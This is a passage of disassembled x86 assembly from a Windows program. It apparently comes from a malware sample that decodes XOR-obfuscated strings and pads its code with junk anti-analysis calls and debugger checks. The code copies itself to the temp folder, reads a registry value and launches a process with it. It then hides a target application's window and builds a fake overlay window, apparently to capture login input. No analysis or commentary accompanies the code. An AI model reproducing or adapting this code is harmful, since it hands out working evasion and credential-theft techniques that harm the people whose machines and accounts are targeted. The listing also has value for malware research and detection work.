lea eax, ds:439560h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-4], 2A0h
xor edi, edi
jmp short loc_4088F5
; ---------------------------------------------------------------------------
loc_4088DE: ; CODE XREF: .text:004088F7j
mov eax, dword_44652C
add eax, edi
lea eax, ds:439560h[eax]
movsx edx, byte ptr [eax]
xor edx, 1Bh
mov [eax], dl
inc edi
loc_4088F5: ; CODE XREF: .text:004088DCj
cmp edi, esi
jl short loc_4088DE
mov dword ptr [ebp-8], 29Ch
mov eax, dword_44652C
add eax, esi
mov byte ptr dword_439560[eax], 0
mov edi, dword_44652C
mov eax, edi
inc eax
add eax, esi
mov dword_44652C, eax
cmp eax, 0DDFh
jle short loc_40892D
and dword_44652C, 0
loc_40892D: ; CODE XREF: .text:00408924j
mov dword ptr [ebp-0Ch], 0D8h
lea eax, dword_439560[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40893E proc near ; CODE XREF: sub_4098A8+413p
; sub_4098A8+42Bp
var_35 = byte ptr -35h
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_25 = byte ptr -25h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1B = byte ptr -1Bh
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
push edi
call GetVersion ; GetVersion
lea edi, [ebp+var_1B]
lea esi, aVlvh__0 ; "vlVh_"
mov ecx, 3
rep movsw
xor eax, eax
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
add eax, [ebp+var_8]
mov [ebp+var_C], eax
mov ebx, [ebp+arg_0]
jmp loc_408A7F
; ---------------------------------------------------------------------------
loc_40897F: ; CODE XREF: sub_40893E+14Cj
lea edi, [ebp+var_20]
lea esi, dword_446938
mov ecx, 5
rep movsb
movsx edi, byte ptr [ebx]
shl edi, 2
mov edi, dword_446538[edi]
mov [ebp+var_4], edi
call GetLastError
cmp edi, 0FFFFFFFFh
jz loc_408A7E
call GetCurrentThreadId ; GetCurrentThreadId
mov eax, [ebp+var_10]
or eax, eax
jl loc_408A78
cmp eax, 3
jg loc_408A78
jmp off_446948[eax*4]
; ---------------------------------------------------------------------------
mov [ebp+var_25], 38h
sub [ebp+var_25], 0BCh
loc_4089D5: ; CODE XREF: sub_40893E+88j
; DATA XREF: .text:off_446948o
inc [ebp+var_10]
lea edi, [ebp+var_34]
lea esi, byte_44693D
movsd
movsd
jmp loc_408A78
; ---------------------------------------------------------------------------
loc_4089E8: ; CODE XREF: sub_40893E+88j
; DATA XREF: .text:0044694Co
mov edi, [ebp+var_14]
shl edi, 2
mov esi, [ebp+var_4]
and esi, 30h
sar esi, 4
or edi, esi
mov edx, edi
mov [ebp+var_15], dl
call GetLastError
mov eax, [ebp+var_8]
inc [ebp+var_8]
mov dl, [ebp+var_15]
mov [eax], dl
inc [ebp+var_10]
jmp short loc_408A78
; ---------------------------------------------------------------------------
loc_408A13: ; CODE XREF: sub_40893E+88j
; DATA XREF: .text:00446950o
mov edi, [ebp+var_14]
and edi, 0Fh
shl edi, 4
mov esi, [ebp+var_4]
and esi, 3Ch
sar esi, 2
or edi, esi
mov edx, edi
mov [ebp+var_15], dl
lea edi, [ebp+var_35]
lea esi, byte_446945
xor ecx, ecx
inc ecx
rep movsb
mov eax, [ebp+var_8]
inc [ebp+var_8]
mov dl, [ebp+var_15]
mov [eax], dl
inc [ebp+var_10]
jmp short loc_408A78
; ---------------------------------------------------------------------------
loc_408A4A: ; CODE XREF: sub_40893E+88j
; DATA XREF: .text:00446954o
mov edi, [ebp+var_14]
and edi, 3
shl edi, 6
or edi, [ebp+var_4]
mov edx, edi
mov [ebp+var_15], dl
mov [ebp+var_2C], 6257h
add [ebp+var_2C], 0D1Fh
mov eax, [ebp+var_8]
inc [ebp+var_8]
mov dl, [ebp+var_15]
mov [eax], dl
and [ebp+var_10], 0
loc_408A78: ; CODE XREF: sub_40893E+79j
; sub_40893E+82j ...
mov eax, [ebp+var_4]
mov [ebp+var_14], eax
loc_408A7E: ; CODE XREF: sub_40893E+69j
inc ebx
loc_408A7F: ; CODE XREF: sub_40893E+3Cj
cmp byte ptr [ebx], 0
jz short loc_408A90
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_40897F
loc_408A90: ; CODE XREF: sub_40893E+144j
cmp byte ptr [ebx], 0
jnz short loc_408AB1
mov [ebp+var_1E], 214Eh
movzx eax, [ebp+var_1E]
imul eax, 7B26h
mov [ebp+var_1E], ax
mov eax, [ebp+var_8]
sub eax, [ebp+arg_4]
jmp short loc_408AB4
; ---------------------------------------------------------------------------
loc_408AB1: ; CODE XREF: sub_40893E+155j
or eax, 0FFFFFFFFh
loc_408AB4: ; CODE XREF: sub_40893E+171j
pop edi
pop esi
pop ebx
leave
retn
sub_40893E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408AB9(void *Src, size_t Size)
sub_408AB9 proc near ; CODE XREF: sub_408B4C+88p
; sub_408B4C+E4p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_446960
lea eax, ds:413F30h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_4], 278h
xor edi, edi
jmp short loc_408B02
; ---------------------------------------------------------------------------
loc_408AE8: ; CODE XREF: sub_408AB9+4Bj
mov eax, dword_446960
add eax, edi
lea eax, ds:413F30h[eax]
movsx edx, byte ptr [eax]
xor edx, 9Ah
mov [eax], dl
inc edi
loc_408B02: ; CODE XREF: sub_408AB9+2Dj
cmp edi, esi
jl short loc_408AE8
mov [ebp+var_8], 2C7h
mov eax, dword_446960
add eax, esi
mov byte ptr dword_413F30[eax], 0
mov edi, dword_446960
mov eax, edi
lea eax, [eax+esi+6]
mov dword_446960, eax
cmp eax, 0DB8h
jle short loc_408B3B
and dword_446960, 0
loc_408B3B: ; CODE XREF: sub_408AB9+79j
mov [ebp+var_C], 2EEh
lea eax, dword_413F30[edi]
pop edi
pop esi
leave
retn
sub_408AB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408B4C proc near ; CODE XREF: sub_4098A8:loc_40A8A0p
var_38C = dword ptr -38Ch
lpSubKey = dword ptr -388h
var_383 = dword ptr -383h
var_37F = byte ptr -37Fh
Type = dword ptr -378h
var_372 = word ptr -372h
var_370 = dword ptr -370h
cbData = dword ptr -36Ch
Data = byte ptr -365h
ProcessInformation= _PROCESS_INFORMATION ptr -261h
var_251 = byte ptr -251h
var_250 = byte ptr -250h
var_24F = byte ptr -24Fh
CommandLine = byte ptr -24Eh
var_14A = word ptr -14Ah
Dst = dword ptr -148h
var_11C = dword ptr -11Ch
var_118 = word ptr -118h
NewFileName = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, dword_446964
mov [ebp+var_370], eax
call GetCurrentThreadId ; GetCurrentThreadId
lea eax, [ebp+NewFileName]
push eax ; lpBuffer
push 104h ; nBufferLength
call GetTempPathA ; GetTempPathA
mov [ebp+var_14A], 21A4h
movzx eax, [ebp+var_14A]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_14A], ax
lea ecx, [ebp+NewFileName]
or eax, 0FFFFFFFFh
loc_408BA4: ; CODE XREF: sub_408B4C+5Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_408BA4
mov edi, eax
mov esi, dword_446958
add esi, 1
push esi
lea esi, [ebp+NewFileName]
add esi, edi
push esi
call sub_40172F
add esp, 8
call IsDebuggerPresent ; IsDebuggerPresent
push 4 ; Size
push offset dword_446E74 ; Src
call sub_408AB9
add esp, 8
push eax ; Source
lea edi, [ebp+NewFileName]
push edi ; Dest
call strcat ; strcat
add esp, 8
push 0 ; bFailIfExists
lea eax, [ebp+NewFileName]
push eax ; lpNewFileName
push offset ExistingFileName ; lpExistingFileName
call CopyFileA ; CopyFileA
call GetLastError
mov ax, word_446968
mov [ebp+var_372], ax
mov [ebp+cbData], 104h
mov [ebp+var_24F], 22h
sub [ebp+var_24F], 0CDh
push 21h ; Size
push offset word_446E52 ; Src
call sub_408AB9
add esp, 8
mov [ebp+lpSubKey], eax
push 4 ; Size
push offset byte_446E4D ; Src
call sub_408AB9
add esp, 8
lea edi, [ebp+Type]
push edi ; lpType
lea edi, [ebp+cbData]
push edi ; lpcbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
mov edi, [ebp+lpSubKey]
push [ebp+lpSubKey] ; lpSubKey
push 80000002h ; hKey
call sub_4014C9
add esp, 18h
mov ebx, eax
call IsDebuggerPresent ; IsDebuggerPresent
cmp ebx, 0
jz loc_408E0D
call GetProcessHeap ; GetProcessHeap
lea edi, [ebp+var_37F]
lea esi, word_44696A
mov ecx, 7
rep movsb
push 104h ; nSize
lea eax, [ebp+CommandLine]
push eax ; lpDst
lea eax, [ebp+Data]
push eax ; lpSrc
call ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
call GetVersion ; GetVersion
push 0Eh ; Size
push offset word_446E3E ; Src
call sub_408AB9
push eax ; Source
lea edi, [ebp+CommandLine]
push edi ; Dest
call strcat ; strcat
call GetTickCount ; GetTickCount
lea eax, [ebp+NewFileName]
push eax ; Source
lea eax, [ebp+CommandLine]
push eax ; Dest
call strcat ; strcat
call GetLastError
call sub_4043CA
mov ebx, eax
mov eax, dword_446971
mov [ebp+var_383], eax
push 44h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
push 44h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 30h
mov [ebp+var_250], 69h
add [ebp+var_250], 1
mov [ebp+Dst], 44h
mov [ebp+var_251], 19h
movzx eax, [ebp+var_251]
imul eax, 1598h
mov [ebp+var_251], al
mov [ebp+var_11C], 1
mov [ebp+var_118], 1
or ebx, ebx
jz short loc_408D84
lea eax, [ebp+Dst]
push eax
call sub_40446E
pop ecx
jmp short loc_408D8D
; ---------------------------------------------------------------------------
loc_408D84: ; CODE XREF: sub_408B4C+227j
mov [ebp+var_118], 0
loc_408D8D: ; CODE XREF: sub_408B4C+236j
lea eax, [ebp+ProcessInformation]
push eax ; lpProcessInformation
lea eax, [ebp+Dst]
push eax ; lpStartupInfo
push 0 ; lpCurrentDirectory
push 0 ; lpEnvironment
push 20h ; dwCreationFlags
push 0 ; bInheritHandles
push 0 ; lpThreadAttributes
push 0 ; lpProcessAttributes
lea eax, [ebp+CommandLine]
push eax ; lpCommandLine
push 0 ; lpApplicationName
call CreateProcessA ; CreateProcessA
or eax, eax
jz short loc_408E01
call GetCurrentProcessId ; GetCurrentProcessId
push [ebp+ProcessInformation.hThread] ; hObject
call CloseHandle ; CloseHandle
mov eax, dword_446975
mov [ebp+var_38C], eax
push 0EA60h ; Duration
call _sleep ; _sleep
pop ecx
call IsDebuggerPresent ; IsDebuggerPresent
push 0 ; uExitCode
push [ebp+ProcessInformation.hProcess] ; hProcess
call TerminateProcess ; TerminateProcess
push [ebp+ProcessInformation.hProcess] ; hObject
call CloseHandle ; CloseHandle
call GetCurrentThreadId ; GetCurrentThreadId
loc_408E01: ; CODE XREF: sub_408B4C+26Bj
lea eax, [ebp+NewFileName]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
loc_408E0D: ; CODE XREF: sub_408B4C+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_408B4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408E12(HWND hWnd, int)
sub_408E12 proc near ; CODE XREF: sub_408ED0+2Cp
; sub_408ED0+46p ...
var_1018 = byte ptr -1018h
var_1011 = byte ptr -1011h
var_1009 = byte ptr -1009h
ClassName = byte ptr -1001h
var_2 = word ptr -2
hWnd = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1018h
call sub_40C6B8
push ebx
push esi
push edi
lea edi, [ebp+var_1009]
lea esi, byte_446979
movsd
movsd
push 5 ; uCmd
push [ebp+hWnd] ; hWnd
call GetWindow ; GetWindow
mov ebx, eax
loc_408E3C: ; CODE XREF: sub_408E12+B4j
or ebx, ebx
jnz short loc_408E47
xor eax, eax
jmp loc_408ECB
; ---------------------------------------------------------------------------
loc_408E47: ; CODE XREF: sub_408E12+2Cj
mov [ebp+var_2], 6C09h
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
push 0FFFh ; nMaxCount
lea eax, [ebp+ClassName]
push eax ; lpClassName
push ebx ; hWnd
call GetClassNameA ; GetClassNameA
lea edi, [ebp+var_1011]
lea esi, aHjvmnia ; "hJVmnIA"
movsd
movsd
mov eax, 13h
sub eax, dword_43C098
push eax
push [ebp+arg_4]
lea eax, [ebp+ClassName]
push eax
call sub_40181A
add esp, 0Ch
cmp eax, 0FFFFh
jz short loc_408EA4
mov eax, ebx
jmp short loc_408ECB
; ---------------------------------------------------------------------------
loc_408EA4: ; CODE XREF: sub_408E12+8Cj
call GetCurrentProcessId ; GetCurrentProcessId
push 2 ; uCmd
push ebx ; hWnd
call GetWindow ; GetWindow
mov ebx, eax
lea edi, [ebp+var_1018]
lea esi, aP_rX ; "p+_R'X"
mov ecx, 7
rep movsb
jmp loc_408E3C
; ---------------------------------------------------------------------------
loc_408ECB: ; CODE XREF: sub_408E12+30j
; sub_408E12+90j
pop edi
pop esi
pop ebx
leave
retn
sub_408E12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408ED0(HWND hWnd)
sub_408ED0 proc near ; CODE XREF: sub_40B3E8+1D6p
var_184 = dword ptr -184h
var_180 = dword ptr -180h
var_179 = byte ptr -179h
var_178 = dword ptr -178h
lParam = byte ptr -172h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
lpClassName = dword ptr -168h
var_163 = byte ptr -163h
var_15D = byte ptr -15Dh
var_158 = byte ptr -158h
var_150 = dword ptr -150h
var_14C = byte ptr -14Ch
var_146 = byte ptr -146h
var_143 = byte ptr -143h
var_13B = byte ptr -13Bh
var_138 = byte ptr -138h
wParam = dword ptr -130h
var_12C = dword ptr -12Ch
var_126 = word ptr -126h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_119 = byte ptr -119h
var_118 = word ptr -118h
var_116 = word ptr -116h
var_114 = word ptr -114h
Rect = tagRECT ptr -112h
WindowName = byte ptr -102h
var_3 = byte ptr -3
var_2 = word ptr -2
hWnd = dword ptr 8
push ebp
mov ebp, esp
sub esp, 184h
push ebx
push esi
push edi
mov [ebp+var_118], 37B0h
inc [ebp+var_118]
push 9 ; Size
push offset aRIA ; "»·›¶¾±· "
call sub_40129C
push eax ; int
push [ebp+hWnd] ; hWnd
call sub_408E12
mov ebx, eax
call GetCurrentProcessId ; GetCurrentProcessId
push 8 ; Size
push offset aSmdJJ ; "‘¬¤¸»¦±¦"
call sub_40129C
push eax ; int
push ebx ; hWnd
call sub_408E12
mov hWnd, eax
mov [ebp+var_114], 6B90h
movzx eax, [ebp+var_114]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_114], ax
push 0 ; nCmdShow
push hWnd ; hWnd
call ShowWindow ; ShowWindow
call GetTickCount ; GetTickCount
lea eax, [ebp+Rect]
push eax ; lpRect
push ebx ; hWnd
call GetWindowRect ; GetWindowRect
mov [ebp+var_119], 0EFh
add [ebp+var_119], 0D4h
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push ebx ; hWndParent
mov eax, [ebp+Rect.bottom]
sub eax, [ebp+Rect.top]
push eax ; nHeight
mov eax, [ebp+Rect.right]
sub eax, [ebp+Rect.left]
push eax ; nWidth
push 0 ; Y
push 0 ; X
push 50800000h ; dwStyle
push offset WindowName ; lpWindowName
push offset ClassName ; "KKQHOOK"
push 200h ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov hWndParent, eax
lea edi, [ebp+var_138]
lea esi, aFxTE ; "fX $t!E"
movsd
movsd
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
mov [ebp+lpClassName], eax
push 19h ; Size
push offset byte_446E01 ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C098
mov esi, edi
add esi, 2Ah
push esi ; nHeight
mov esi, [ebp+Rect.right]
sub esi, [ebp+Rect.left]
sub esi, 64h
push esi ; nWidth
add edi, 2
push edi ; Y
push edi ; X
push 50800000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp+lpClassName]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_41D898, eax
call GetProcessHeap ; GetProcessHeap
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C098
add edi, 11Ah
push edi ; nHeight
mov edi, [ebp+Rect.right]
sub edi, [ebp+Rect.left]
sub edi, 64h
push edi ; nWidth
mov edi, dword_43C098
add edi, 3Fh
push edi ; Y
mov edi, dword_43C098
add edi, 2
push edi ; X
push 50800009h ; dwStyle
push offset WindowName ; lpWindowName
push eax ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_430C28, eax
call GetCurrentThreadId ; GetCurrentThreadId
push 0 ; pszFaceName
push 2 ; iPitchAndFamily
push 0 ; iQuality
push 0 ; iClipPrecision
push 5 ; iOutPrecision
push 1 ; iCharSet
push 0 ; bStrikeOut
push 0 ; bUnderline
push 0 ; bItalic
push 2BCh ; cWeight
push 0 ; cOrientation
push 0 ; cEscapement
mov eax, dword_43C098
mov edx, 1Ah
sub edx, eax
push edx ; cWidth
mov eax, dword_43C098
add eax, 2
push eax ; cHeight
call CreateFontA ; CreateFontA
mov [ebp+wParam], eax
lea edi, [ebp+var_13B]
lea esi, aQa ; "qA"
mov ecx, 3
rep movsb
push 1 ; lParam
push [ebp+wParam] ; wParam
push 30h ; Msg
push dword_41D898 ; hWnd
call SendMessageA ; SendMessageA
push 8 ; Size
push offset dword_446DF8 ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push dword_430C28 ; hWndParent
mov edi, dword_43C098
add edi, 11Ah
push edi ; nHeight
mov edi, dword_43C098
add edi, 20h
push edi ; nWidth
mov edi, dword_43C098
add edi, 28h
push edi ; Y
mov edi, dword_43C098
add edi, 2
push edi ; X
push 50800003h ; dwStyle
push offset WindowName ; lpWindowName
push eax ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_432DC0, eax
push 8 ; Size
push offset dword_446DF8 ; Src
call sub_40129C
add esp, 48h
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push dword_430C28 ; hWndParent
mov edi, dword_43C098
add edi, 11Ah
push edi ; nHeight
mov edi, dword_43C098
add edi, 2Ah
push edi ; nWidth
mov edi, dword_43C098
add edi, 28h
push edi ; Y
mov edi, dword_43C094
add edi, 4Dh
push edi ; X
push 50800003h ; dwStyle
push offset WindowName ; lpWindowName
push eax ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_41E8C4, eax
mov [ebp+var_116], 5444h
movzx eax, [ebp+var_116]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_116], ax
mov [ebp+var_2], 1
jmp loc_409299
; ---------------------------------------------------------------------------
loc_4091E0: ; CODE XREF: sub_408ED0+3D0j
call IsDebuggerPresent ; IsDebuggerPresent
lea edi, [ebp+var_179]
lea esi, byte_44699B
xor ecx, ecx
inc ecx
rep movsb
push 4 ; Size
push offset byte_446DF3 ; Src
call sub_40129C
movzx edi, [ebp+var_2]
push edi
push eax ; Format
lea edi, [ebp+lParam]
push edi ; Dest
call sprintf ; sprintf
mov [ebp+var_178], 269Fh
mov eax, 5D57h
mul [ebp+var_178]
mov [ebp+var_180], eax
mov [ebp+var_178], eax
lea eax, [ebp+lParam]
push eax ; lParam
push 0 ; wParam
push 143h ; Msg
push dword_432DC0 ; hWnd
call SendMessageA ; SendMessageA
push 6 ; Size
push offset dword_446DEC ; Src
call sub_40129C
movzx edi, [ebp+var_2]
add edi, 4
push edi
push eax ; Format
lea edi, [ebp+lParam]
push edi ; Dest
call sprintf ; sprintf
add esp, 28h
call GetVersion ; GetVersion
lea eax, [ebp+lParam]
push eax ; lParam
push 0 ; wParam
push 143h ; Msg
push dword_41E8C4 ; hWnd
call SendMessageA ; SendMessageA
call GetCurrentThreadId ; GetCurrentThreadId
inc [ebp+var_2]
loc_409299: ; CODE XREF: sub_408ED0+30Bj
movzx eax, [ebp+var_2]
cmp eax, 0Dh
jl loc_4091E0
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
mov [ebp+var_16C], eax
push 10h ; Size
push offset byte_446DDB ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C098
mov esi, 22h
sub esi, edi
push esi ; nHeight
mov edi, dword_43C098
add edi, 55h
push edi ; nWidth
mov edi, dword_43C098
add edi, 5Ch
push edi ; Y
mov edi, dword_43C098
add edi, 0B1h
push edi ; X
push 50000000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp+var_16C]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_413F20, eax
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
mov [ebp+var_170], eax
push 0Fh ; Size
push offset byte_446DCB ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C094
add edi, 0Bh
push edi ; nHeight
mov edi, dword_43C098
add edi, 45h
push edi ; nWidth
mov edi, dword_43C098
add edi, 7Fh
push edi ; Y
mov edi, dword_43C094
add edi, 0BEh
push edi ; X
push 50000000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp+var_170]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_432DB8, eax
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
mov [ebp-174h], eax
push 0Ch ; Size
push offset word_446DBE ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C094
add edi, 0Bh
push edi ; nHeight
mov edi, dword_43C098
add edi, 44h
push edi ; nWidth
mov edi, dword_43C098
add edi, 0A7h
push edi ; Y
mov edi, dword_43C098
add edi, 0B1h
push edi ; X
push 50000000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp-174h]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_4351D8, eax
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
mov [ebp+var_178], eax
push 4Ah ; Size
push offset byte_446D73 ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C098
mov esi, 22h
sub esi, edi
push esi ; nHeight
mov edi, dword_43C098
add edi, 1D2h
push edi ; nWidth
mov edi, dword_43C098
add edi, 0D4h
push edi ; Y
mov edi, dword_43C094
add edi, 19h
push edi ; X
push 50000000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp+var_178]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_432DBC, eax
push 6 ; Size
push offset byte_446E1B ; Src
call sub_40129C
mov [ebp-17Ch], eax
push 26h ; Size
push offset dword_446D4C ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C094
add edi, 0Bh
push edi ; nHeight
mov edi, dword_43C098
add edi, 0EBh
push edi ; nWidth
mov edi, dword_43C094
add edi, 0FAh
push edi ; Y
mov edi, dword_43C098
add edi, 0Ch
push edi ; X
push 50000000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp-17Ch]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_43A558, eax
push offset Format ; Format
lea eax, [ebp+WindowName]
push eax ; Dest
call sprintf ; sprintf
add esp, 58h
lea edi, [ebp+var_143]
lea esi, aZ_y9am4 ; "z.y9aM4"
movsd
movsd
mov [ebp+var_3], 4
jmp short loc_409529
; ---------------------------------------------------------------------------
loc_409519: ; CODE XREF: sub_408ED0+65Ej
movzx eax, [ebp+var_3]
mov [ebp+eax+WindowName], 78h
add [ebp+var_3], 1
loc_409529: ; CODE XREF: sub_408ED0+647j
mov al, [ebp+var_3]
cmp al, 0Ch
jb short loc_409519
call IsDebuggerPresent ; IsDebuggerPresent
push 4 ; Size
push offset byte_446D47 ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push dword_430C28 ; hWndParent
mov edi, dword_43C098
mov esi, edi
add esi, 6
push esi ; nHeight
mov esi, edi
add esi, 70h
push esi ; nWidth
add edi, 2
push edi ; Y
push edi ; X
push 50800800h ; dwStyle
lea edi, [ebp+WindowName]
push edi ; lpWindowName
push eax ; lpClassName
push 200h ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_41081C, eax
mov [ebp+var_120], 70h
mov eax, 829h
mul [ebp+var_120]
mov [ebp+var_180], eax
mov [ebp+var_120], eax
push 4 ; Size
push offset byte_446D47 ; Src
call sub_40129C
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push dword_430C28 ; hWndParent
mov edi, dword_43C098
add edi, 6
push edi ; nHeight
mov edi, dword_43C094
add edi, 41h
push edi ; nWidth
mov edi, dword_43C098
add edi, 4Dh
push edi ; Y
mov edi, dword_43C098
add edi, 2
push edi ; X
push 50800000h ; dwStyle
push offset WindowName ; lpWindowName
push eax ; lpClassName
push 200h ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_41E8BC, eax
lea edi, [ebp+var_146]
lea esi, a3h ; "3h"
mov ecx, 3
rep movsb
push 0 ; lParam
push 78h ; wParam
push 0CCh ; Msg
push dword_41E8BC ; hWnd
call SendMessageA ; SendMessageA
call GetCurrentProcessId ; GetCurrentProcessId
push 6 ; Size
push offset dword_446D40 ; Src
call sub_40129C
mov [ebp+var_184], eax
push 16h ; Size
push offset byte_446D29 ; Src
call sub_40129C
add esp, 20h
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push hWndParent ; hWndParent
mov edi, dword_43C098
add edi, 5
push edi ; nHeight
mov edi, dword_43C094
add edi, 96h
push edi ; nWidth
mov edi, dword_43C098
add edi, 12Eh
push edi ; Y
mov edi, dword_43C098
add edi, 0Ch
push edi ; X
push 50800000h ; dwStyle
push eax ; lpWindowName
mov edi, [ebp+var_184]
push edi ; lpClassName
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_4351DC, eax
push 0 ; pszFaceName
push 2 ; iPitchAndFamily
push 0 ; iQuality
push 0 ; iClipPrecision
push 5 ; iOutPrecision
push 1 ; iCharSet
push 0 ; bStrikeOut
push 0 ; bUnderline
push 0 ; bItalic
push 190h ; cWeight
push 0 ; cOrientation
push 0 ; cEscapement
mov eax, dword_43C094
inc eax
push eax ; cWidth
mov eax, 22h
sub eax, dword_43C098
push eax ; cHeight
call CreateFontA ; CreateFontA
mov ebx, eax
call GetVersion ; GetVersion
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_432DC0 ; hWnd
call SendMessageA ; SendMessageA
lea edi, [ebp+var_14C]
lea esi, aOi6 ; " oi%6"
mov ecx, 3
rep movsw
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_41E8C4 ; hWnd
call SendMessageA ; SendMessageA
mov eax, dword_4469AD
mov [ebp+var_150], eax
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_41081C ; hWnd
call SendMessageA ; SendMessageA
lea edi, [ebp+var_158]
lea esi, byte_4469B1
mov ecx, 2
rep movsd
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_41E8BC ; hWnd
call SendMessageA ; SendMessageA
mov [ebp+var_124], 2D6Ah
inc [ebp+var_124]
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_432DB8 ; hWnd
call SendMessageA ; SendMessageA
call GetLastError
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_413F20 ; hWnd
call SendMessageA ; SendMessageA
lea edi, [ebp+var_15D]
lea esi, byte_4469B9
mov ecx, 5
rep movsb
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_4351D8 ; hWnd
call SendMessageA ; SendMessageA
call GetCurrentProcessId ; GetCurrentProcessId
push 1 ; lParam
push ebx ; wParam
push 30h ; Msg
push dword_4351DC ; hWnd
call SendMessageA ; SendMessageA
call IsDebuggerPresent ; IsDebuggerPresent
push 0FFFFFFFCh ; nIndex
push dword_432DC0 ; hWnd
